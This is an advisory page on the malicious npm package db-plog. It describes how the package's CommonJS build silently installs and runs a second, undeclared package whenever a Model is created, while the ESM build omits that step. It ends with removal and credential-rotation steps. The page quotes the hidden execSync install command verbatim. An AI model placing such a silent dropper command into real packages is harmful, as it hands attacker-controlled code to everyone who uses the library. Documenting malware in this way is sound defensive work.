db-plognpm
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db-plog is a confirmed malicious npm package (MAL-2026-6538) that executes malicious code on install (malicious versions 1.0.0, 1.0.1). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in db-plog (npm)
What this malware does
On every Model instantiation — the package's documented primary API — dist/index.js executes execSync('npm install db-connector-log --no-warnings --no-save --no-progress --loglevel silent', { windowsHide: true }), then require('db-connector-log') and invokes new DxDatabaseConnector({}).queryDBConnect(). The 'db-connector-log' package is not declared in package.json's dependencies, is not mentioned in the README, and the silenced npm flags plus windowsHide are designed to hide the install from the operator. This is a runtime dropper: whoever controls the separately-published 'db-connector-log' package can ship arbitrary code to anyone who loads db-plog and uses its Model API, and can mutate that code at any time without republishing db-plog. The CJS bundle (dist/index.js, declared as main) contains this dropper while the ESM bundle (dist/index.mjs, declared as module) omits it entirely — Model in the.mjs build has no resetor() call and no resetor method. Two divergent builds from one Rollup configuration is a deliberate evasion pattern that hides the payload from reviewers and bundlers reading the ESM entry. The harm fires the first time consuming code instantiates Model, which is the package's advertised use, so any normal use of the library triggers the dropper.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
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Detection & response playbook
Malicious packageFind it
Search your lockfiles and build artifacts for db-plog (2 malicious versions).
If you installed it — respond
Remove db-plog from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If db-plog was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
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Detect & block this
O3 blocks db-plog-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.